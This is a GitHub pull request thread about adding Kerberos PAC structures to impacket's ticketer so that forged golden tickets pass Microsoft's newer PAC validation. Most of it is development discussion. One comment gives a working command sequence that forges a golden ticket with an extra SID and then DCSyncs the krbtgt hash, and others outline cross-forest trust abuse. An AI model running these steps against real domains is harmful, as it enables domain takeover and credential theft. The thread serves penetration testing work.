Ticketer extra-pac implementation (UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR)

[Dramelac]

Introduction

Following the new release of Windows reinforcement policy (e.g. https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041) here is my PR to implement these new PAC in impacket and in ticketer to generate new GoldenTicket that will be accepted by the servers (e.g. https://github.com/SecureAuthCorp/impacket/issues/1390).

To review

• I had problems implementing the PAC_REQUESTOR because of this problem: https://github.com/SecureAuthCorp/impacket/issues/1386. The structure will have to be updated following the correction of this bug to standardize the PAC structures (code already available in comments).
• In order to keep the UPN_DNS_INFO structure at the right size (when the S flag is not set) I created a second UPN_DNS_INFO structure which includes the extra fields (for when the S flag is set). In this configuration you have to use the right structure depending on the flag configuration, or use the 'simple' structure first and then use the FULL one if needed.
• It is possible in the future that the PAC ATTRIBUTES and / or REQUESTOR become mandatory and in this case it would be useful to think about executing the functions of generation of these PAC by default even without the -extra-pac argument.

Summary

To summarize the additions to this RP:

• Completion of the PAC implementation UPN_DNS_INFO (to UPN_DNS_INFO_FULL) in impacket (When the S flag is set, the SamName and Sid is also populated)
• Added a method to generate a compliant UPN_DNS_INFO_FULL in ticketer
• Implementation of PAC_ATTRIBUTES_INFO
• Add a method to generate a compliant PAC_ATTRIBUTES_INFO in ticketer
• Implementation of PAC_REQUESTOR
• Add a method to generate a compliant PAC_REQUESTOR in ticketer
• Added an -extra-pac option to make these PACs optional while waiting for more tests (don't forget to specify it for testing new PACs)
• Modification of the hardcoded PrimaryGroupId, now the first group of the list will be used as PrimaryGroupId (with a default in 513)
• Dynamic number of PAC in PACTYPE
• Generalization of padding calculation methods (less mistake)

Documentations

Overview

https://blog.netwrix.com/2022/01/10/pacrequestorenforcement-and-kerberos-authentication/ https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041

Missing (or incomplete) PAC

2.10 UPN_DNS_INFO : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c0d6e11-6443-4846-b744-f9f810a504eb 2.14 PAC_ATTRIBUTES_INFO : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c7aeadb-8ca4-4050-ae98-0e9834bdd81d 2.15 PAC_REQUESTOR : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/c34adc61-80e1-4920-8923-22ef5054c4b2

[Dramelac]

If you're wondering why implement the UPN_DNS_INFO(_FULL) PAC in ticketer when it's not mandatory, it's just that I've seen it configured in legitimate tickets and while I'm at it, why not do it.

[ShutdownRepo]

Big kuddos, definitely to be merged imo 👏

[Dramelac]

Following an MS update, as of October 11, 2022, the PAC_REQUESTOR will become mandatory, and the PAC_ATTRIBUTES_INFO optional but its absence will generate a log event as one of the KDCs is not up-to-date. So I changed the "default" PACs generated in the absence of the -extra-pac option by including PAC_ATTRIBUTES_INFO and PAC_REQUESTOR.

[jeffmcjunkin]

Psst, now that PAC_REQUESTOR is required, getting this merged upstream is more important. I love Impacket, but right now Rubeus and Mimikatz are ahead in officially supporting this (documented here: https://www.varonis.com/blog/pac_requestor-and-golden-ticket-attacks)

[jsdhasfedssad]

I checked out this PR in order to test abusing a child/parent trust using Impacket's raiseChild.py. However, I get the same "KDC_ERR_TGT_REVOKED(TGT has been revoked)" error as I do without this PR.

Testing ticketer.py instead using the flag "-extra-pac" I also get the same error once I try to use the resulting TGT with secretsdump.py.

What am I missing?

[SAERXCIT]

This PR has not updated raiseChild.py, only ticketer.py. That's why you don't see the -extra-pac flag in the help of raiseChild.py.

If you want to exploit a child/parent trust, you can do it manually with this PR:

$ ticketer.py -domain "CHILD.DOMAIN.LOCAL" -domain-sid "S-1-5-21-sid-of-child.domain.local" -aesKey "xxx"  -user-id "<rid_of_username>" -extra-sid "S-1-5-21-sid-of-domain.local-519" -extra-pac -duration 1 <username>

$ KRB5CCNAME=tgt_username_extrasid.ccache getST.py -spn 'cifs/dc1.domain.local' 'child.domain.local/username' -k -no-pass

$ KRB5CCNAME=username@[email protected] secretsdump.py 'child.domain.local/[email protected]' -k -no-pass -just-dc-user DOMAIN/krbtgt

Note: this was done on a local branch with a lot of PRs merged. I hope some PRs did not change the behaviour of the previous commands which would render them incompatible with your own local branch, and make the attack fail.

[jsdhasfedssad]

Thanks for your reply! Never mind my last update, I wrote it before seeing your reply.

Anyway, I tested your commands. I still get the error when requesting the TGS.

[SAERXCIT]

I didn't mention that but since that update (I think) you have to create the golden ticket for an existing user and with a matching RID. I think that's why you have that error.

[ShutdownRepo]

I didn't mention that but since that update (I think) you have to create the golden ticket for an existing user and with a matching RID. I think that's why you have that error.

Yup, it's being checked now, since November 2021 updates

[jsdhasfedssad]

Great! It works. You were right. I have to use an existing user. Thank you!

Do I need to use this PR for cross-forests attacks to?

[jsdhasfedssad]

I checked my old notes and in those I never first requested a TGS before DCSyncing. This also works.

[SAERXCIT]

You can, but with a few caveats:

1. The trusting forest (FORESTB) needs to have disabled SID filtering towards your compromised forest (FORESTA).
2. You need to find an interesting group in FORESTB with an RID > 1000 (built-in groups such as domain admins with an RID < 1000 will get filtered anyway).
3. It's a multi-step process where you need to forge a golden ticket with extra SIDs in FORESTA, ask for a referral TGT for FORESTB (TGS-REQ to FORESTA DC for SPN krbtgt/forestb.local), use the referral TGT to a FORESTB DC in another TGS-REQ for an interesting service in FORESTB. Or you can directly forge a referral TGT for FORESTB using the RC4 of the inter-trust account FORESTB$ (Note: only RC4, the AES keys for this account output by secretsdump are invalid because the salt is different for inter-trust accounts).
4. To be able to get a referral TGT from a CCache you need to use this PR https://github.com/fortra/impacket/pull/1431.

And that's all the quirks I can thinks of for now, there's probably a few more because Impacket is not mature yet in terms of dealing with trusts.

[jsdhasfedssad]

That is some very good information that I have not seen anywhere else. Thank you! I have a biderectional forest trust in my lab so I will test this next.

[ShutdownRepo]

That is some very good information that I have not seen anywhere else. Thank you! I have a biderectional forest trust in my lab so I will test this next.

The Hacker Recipes' page has been in the works for a couple of weeks, you should find useful information there. It's still in progress, but there's already a lot of things: https://www.thehacker.recipes/ad/movement/trusts

[fsacer]

This pull request worked correctly for me :)

[Hackndo]

For what it's worth, just tried it during a training and it works like a charm, thanks.

[Dramelac]

In addition from my comment in the related issue https://github.com/fortra/impacket/issues/1386#issuecomment-1527166411

I don't like to introduce these 'bug' / instability in the impacket lib just because the name of the class is matching ...

I didn't really understood why the RPC_SID class need these additional 4 bits but obviously this behavior is not the one we have with a kerberos ticket so i don't think using RPC_SID here is appropriate. I don't know if we are supposed to create another SID class to match this behavior or using LDAP_SID wich has the correct structure but here is why i choose LDAP_SID for now.

Let me know what you think, i would be happy to help :)

[0xdeaddood]

Just merged! Thanks a lot @Dramelac!

[Dramelac]

You're welcome! Thank you and the team for this awesome project 👌